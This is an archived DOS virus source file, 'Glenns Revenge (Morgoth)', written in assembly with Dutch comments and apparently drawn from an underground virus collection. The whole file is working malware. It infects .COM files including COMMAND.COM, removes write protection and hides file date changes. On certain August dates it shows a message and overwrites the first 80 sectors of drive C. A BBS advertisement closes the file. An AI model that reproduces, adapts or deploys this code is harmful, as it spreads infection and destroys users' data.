home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / morgoth.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.0 KB  |  255 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2.  
  3. ;│                         Glenns Revenge (Morgoth)                            │
  4.  
  5. ;├─────────────────────────────────────────────────────────────────────────────┤
  6.  
  7. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  8.  
  9. ;│ It will also infect COMMAND.COM.                                            │
  10.  
  11. ;└─────────────────────────────────────────────────────────────────────────────┘
  12.  
  13. ;
  14.  
  15. ;
  16.  
  17. ;
  18.  
  19. ;
  20.  
  21. ;────────────────────────────────────────────────────────────────────
  22.  
  23. ; This will contain the segment status, original start, pre-defined
  24.  
  25. ; defenitions, and public settings.
  26.  
  27. ;────────────────────────────────────────────────────────────────────
  28.  
  29. .MODEL TINY
  30.  
  31.  
  32.  
  33. Public        VirLen,MovLen,PutMsg
  34.  
  35.  
  36.  
  37. Code        Segment para 'Code'
  38.  
  39. Assume        Cs:Code,Ds:Code,Es:Code
  40.  
  41.  
  42.  
  43.         Org 100h
  44.  
  45.  
  46.  
  47. Signature    Equ 0Addeh    ; Signature of virus is DEAD!
  48.  
  49.  
  50.  
  51. BegMonthAct    Equ 8        ; Begin Month of activation
  52.  
  53. EndMonthAct    Equ 8        ; End Month of activation
  54.  
  55. BegDayAct    Equ 3        ; Begin Day of activation
  56.  
  57. EndDayAct    Equ 18      ; End Day of activation
  58.  
  59.  
  60.  
  61. ActString    Equ CR,LF,'This Personal Computer has been struck by the uncurable disease that is',CR,LF,'called "The Doom of Morgoth".',CR,LF,EOM
  62.  
  63.  
  64.  
  65. CR        Equ 13        ; Return
  66.  
  67. LF        Equ 10        ; Linefeed
  68.  
  69. EOM        Equ '$'        ; Einde Tekst
  70.  
  71.  
  72.  
  73. Buff1        Equ 0F000h
  74.  
  75. Buff2        Equ Buff1+2
  76.  
  77. VirLen        Equ Offset Einde-Offset Begin
  78.  
  79. MovLen        Equ Offset Einde-Offset Mover
  80.  
  81. Proggie        Equ Offset DTA+1Eh
  82.  
  83.  
  84.  
  85. MinLen        Equ Virlen+10    ;Minimale lengte te besmetten programma
  86.  
  87. MaxLen        Equ 0EF00h    ; Maximale lengte te besmetten programma
  88.  
  89.  
  90.  
  91. ;────────────────────────────────────────────────────────────────────
  92.  
  93. ; This will contain only macros, for pieces of code which will be
  94.  
  95. ; used very often.
  96.  
  97. ;────────────────────────────────────────────────────────────────────
  98.  
  99.  
  100.  
  101. ;────────────────────────────────────────────────────────────────────
  102.  
  103. ; This part will contain the actual virus code, for searching the
  104.  
  105. ; next victim and infection of it.
  106.  
  107. ;────────────────────────────────────────────────────────────────────
  108.  
  109.  
  110.  
  111. Begin:
  112.  
  113.         Jmp Short OverSig    ; Sprong naar Oversig vanwege kenmerk
  114.  
  115.                 DW Signature            ; Herkenningsteken virus
  116.  
  117. Oversig:
  118.  
  119.                 Pushf                   ;------------------
  120.  
  121.         Push AX            ; Alle registers opslaan voor
  122.  
  123.         Push BX            ; later gebruik van het programma
  124.  
  125.         Push CX                 ;
  126.  
  127.         Push DX                 ;
  128.  
  129.         Push DS                 ;
  130.  
  131.         Push ES                 ;
  132.  
  133.         Push SS                 ;
  134.  
  135.         Push SI                 ;
  136.  
  137.         Push DI                 ;------------------
  138.  
  139.  
  140.  
  141.         Mov AH,2Ah        ;------------------
  142.  
  143.         Int 21h                 ; Systeemdatum vergelijken met
  144.  
  145.         Cmp DH,BegMonthAct      ; activatiedatum. Als dit gelijk is
  146.  
  147.         Jb InfectPart           ; moet word PutMsg aangeroepen, anders
  148.  
  149.         Cmp DH,EndMonthAct      ; wordt InfectPart aangeroepen.
  150.  
  151.         Jg InfectPart           ;
  152.  
  153.         Cmp DL,BegDayAct        ;
  154.  
  155.         Jb InfectPart           ;
  156.  
  157.         Cmp DL,EndDayAct        ;
  158.  
  159.         Jg InfectPart           ;------------------
  160.  
  161. PutMsg:        Mov AH,09h        ; Activatiebericht wordt getoont en
  162.  
  163.         Mov DX,Offset Msg       ; de eerste 80 sectoren van de C
  164.  
  165.         Int 21h                 ; drive worden volgeschreven met
  166.  
  167.         Int 20h            ;
  168.  
  169.         Mov AL,2        ; onzin. Computer is vastgelopen :
  170.  
  171.         Mov CX,80               ;     RESET!
  172.  
  173.         Mov DX,0                ;
  174.  
  175.         Int 26h                 ;
  176.  
  177. Vastgezet:    Jmp Vastgezet           ;------------------
  178.  
  179.  
  180.  
  181. InfectPart:
  182.  
  183.         Mov AX,Sprong           ;------------------
  184.  
  185.         Mov Buf1,AX             ; Spronggegevens bewaren om
  186.  
  187.         Mov BX,Source           ; besmette programma te starten
  188.  
  189.         Mov Buf2,BX             ;------------------
  190.  
  191.         Mov AH,1Ah        ; DTA area instellen op
  192.  
  193.         Lea DX,DTA              ; $DTA area
  194.  
  195.         Int 21h                 ;------------------
  196.  
  197. Vindeerst:    Mov AH,4Eh        ; Zoeken naar 1e .COM file in directory
  198.  
  199.         Mov Cx,1        ;
  200.  
  201.         Lea DX,FindPath         ;
  202.  
  203.         Int 21h                 ;------------------
  204.  
  205.         Jnc KijkInfected    ; Geen gevonden, goto Afgelopen
  206.  
  207.         Jmp Afgelopen        ;------------------
  208.  
  209. KijkInfected:
  210.  
  211.         Mov DX,DTA+1Ah        ;------------------
  212.  
  213.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  214.  
  215.         Jb  ZoekNext            ; aan de eisen van het virus
  216.  
  217.         Mov DX,MaxLen           ; (langer dan virus)
  218.  
  219.         Cmp DX,DTA+1Ah          ;
  220.  
  221.         Jb  ZoekNext            ;------------------
  222.  
  223. On2:        Mov AH,3Dh        ; Zo ja , file openen en file handle
  224.  
  225.         Mov AL,2        ; opslaan
  226.  
  227.         Mov DX,Proggie        ;
  228.  
  229.         Int 21h            ;
  230.  
  231.         Mov FH,AX               ;------------------
  232.  
  233.           Mov BX,AX               ;
  234.  
  235.          Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  236.  
  237.          Mov CX,4                ; een mogelijk kenmerk van het virus
  238.  
  239.         Mov DX,Buff1            ;
  240.  
  241.         Int 21h                 ;------------------
  242.  
  243. Sluiten:    Mov AH,3Eh        ; File weer sluiten
  244.  
  245.         Int 21h            ;------------------
  246.  
  247.         Mov AX,CS:[Buff2]    ; Vergelijken inhoud lokatie Buff1+2
  248.  
  249.         Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeknext
  250.  
  251.         Jz  ZoekNext            ;------------------
  252.  
  253.         Jmp Infect
  254.  
  255. ZoekNext:
  256.  
  257.         Mov AH,4Fh              ;------------------
  258.  
  259.         Int 21h                 ; Zoeken naar volgende .COM file
  260.  
  261.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  262.  
  263.                 Jmp Afgelopen           ;------------------
  264.  
  265.  
  266.  
  267. Infect:
  268.  
  269.         Mov AH,43h        ;------------------
  270.  
  271.         Mov AL,0                ; Eventuele schrijf-
  272.  
  273.                 Mov DX,Proggie            ; beveiliging weghalen
  274.  
  275.         Int 21h                 ; van het programma
  276.  
  277.         Mov AH,43h              ;
  278.  
  279.         Mov AL,1                ;
  280.  
  281.         And CX,11111110b        ;
  282.  
  283.         Int 21h                 ;------------------
  284.  
  285.         Mov AH,3Dh        ; Bestand openen
  286.  
  287.         Mov AL,2                ;
  288.  
  289.                 Mov DX,Proggie          ;
  290.  
  291.         Int 21h                 ;------------------
  292.  
  293.         Mov FH,AX        ; Opslaan op stack van
  294.  
  295.         Mov BX,AX               ; datum voor later gebruik
  296.  
  297.         Mov AH,57H              ;
  298.  
  299.         Mov AL,0                ;
  300.  
  301.         Int 21h                 ;
  302.  
  303.         Push CX                 ;
  304.  
  305.         Push DX                 ;------------------
  306.  
  307.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  308.  
  309.         Mov CX,VirLen+2        ; programma om later terug te
  310.  
  311.         Mov DX,Buff1            ; kunnen plaatsen.
  312.  
  313.         Int 21h                 ;------------------
  314.  
  315.         Mov AH,42H        ; File Pointer weer naar het
  316.  
  317.         Mov AL,2        ; einde van het programma
  318.  
  319.         Xor CX,CX        ; zetten
  320.  
  321.         Xor DX,DX        ;
  322.  
  323.         Int 21h                 ;------------------
  324.  
  325.         Xor DX,DX        ; Bepalen van de variabele sprongen
  326.  
  327.         Add AX,100h             ; in het virus (move-routine)
  328.  
  329.         Mov Sprong,AX           ;
  330.  
  331.         Add AX,MovLen        ;
  332.  
  333.         Mov Source,AX           ;------------------
  334.  
  335.         Mov AH,40H              ; Move routine bewaren aan
  336.  
  337.                 Mov DX,Offset Mover     ; einde van file
  338.  
  339.         Mov CX,MovLen           ;
  340.  
  341.         Int 21h                 ;------------------
  342.  
  343.         Mov AH,40H              ; Eerste deel programma aan-
  344.  
  345.         Mov DX,Buff1            ; voegen na Move routine
  346.  
  347.         Mov CX,VirLen           ;
  348.  
  349.         Int 21h                 ;------------------
  350.  
  351.                 Mov AH,42h              ; File Pointer weer naar
  352.  
  353.         Mov AL,0        ; het begin van file
  354.  
  355.         Xor CX,CX               ; sturen
  356.  
  357.         Xor DX,DX               ;
  358.  
  359.         Int 21h                 ;------------------
  360.  
  361.         Mov AH,40h              ; En programma overschrijven
  362.  
  363.         Mov DX,Offset Begin     ; met code van het virus
  364.  
  365.         Mov CX,VirLen           ;
  366.  
  367.         Int 21h                 ;------------------
  368.  
  369.         Mov AH,57h        ; Datum van aangesproken file
  370.  
  371.         Mov AL,1                ; weer herstellen
  372.  
  373.         Pop DX                  ;
  374.  
  375.         Pop CX                  ;
  376.  
  377.         Int 21h                 ;------------------
  378.  
  379.         Mov AH,3Eh        ; Sluiten file
  380.  
  381.         Int 21h                 ;------------------
  382.  
  383. Afgelopen:    Mov BX,Buf2             ; Sprongvariabelen weer
  384.  
  385.         Mov Source,BX           ; op normaal zetten voor
  386.  
  387.         Mov AX,Buf1             ; de Move routine
  388.  
  389.         Mov Sprong,AX           ;------------------
  390.  
  391.         Mov AH,1Ah              ; DTA adres weer op normaal
  392.  
  393.         Mov Dx,80h              ; zetten en naar de Move
  394.  
  395.         Int 21h                 ; routine springen
  396.  
  397.         Jmp CS:[Sprong]         ;------------------
  398.  
  399.  
  400.  
  401. Msg        db ActString
  402.  
  403.  
  404.  
  405. ;────────────────────────────────────────────────────────────────────
  406.  
  407. ; All variables are stored in here, like filehandle, date/time,
  408.  
  409. ; search path and various buffers.
  410.  
  411. ;────────────────────────────────────────────────────────────────────
  412.  
  413.  
  414.  
  415. FH          DW 0
  416.  
  417. FindPath        DB '*.COM',0
  418.  
  419.  
  420.  
  421. Buf1        DW 0
  422.  
  423. Buf2            DW 0
  424.  
  425.  
  426.  
  427. Sprong        DW 0
  428.  
  429. Source        DW 0
  430.  
  431.  
  432.  
  433. DTA        DW 64 DUP(?)
  434.  
  435.  
  436.  
  437. ;────────────────────────────────────────────────────────────────────
  438.  
  439. ; This will contain the relocator routine, located at the end of
  440.  
  441. ; the ORIGINAL file. This will tranfer the 1st part of the program
  442.  
  443. ; to it's original place.
  444.  
  445. ;────────────────────────────────────────────────────────────────────
  446.  
  447. Mover:
  448.  
  449.         Mov DI,Offset Begin    ;------------------
  450.  
  451.         Mov SI,Source           ; Verplaatsen van het 1e deel
  452.  
  453.         Mov CX,VirLen-1         ; van het programma, wat achter
  454.  
  455.         Movsb                   ; deze verplaatsroutine staat.
  456.  
  457.         Rep Movsb               ;------------------
  458.  
  459.         Pop DI            ; Opgeslagen registers weer
  460.  
  461.         Pop SI                  ; terugzetten op originele
  462.  
  463.         Pop SS                  ; waarde en springen naar
  464.  
  465.         Pop ES                  ; het begin van het programma
  466.  
  467.         Pop DS                  ; (waar nu het virus niet meer
  468.  
  469.         Pop DX                  ; staat)
  470.  
  471.         Pop CX                  ;
  472.  
  473.         Pop BX                  ;
  474.  
  475.         Pop AX                  ;
  476.  
  477.         Popf                    ;
  478.  
  479.         Mov BX,100h             ;
  480.  
  481.         Jmp BX             ;------------------
  482.  
  483.  
  484.  
  485. ;────────────────────────────────────────────────────────────────────
  486.  
  487. ; Only the end of the virus is stored in here.
  488.  
  489. ;────────────────────────────────────────────────────────────────────
  490.  
  491. Einde        db 0
  492.  
  493.  
  494.  
  495. Code            Ends
  496.  
  497. End             Begin
  498.  
  499.  
  500.  
  501. ;  ─────────────────────────────────────────────────────────────────────────
  502.  
  503. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  504.  
  505. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  506.  
  507. ;  ─────────────────────────────────────────────────────────────────────────
  508.  
  509.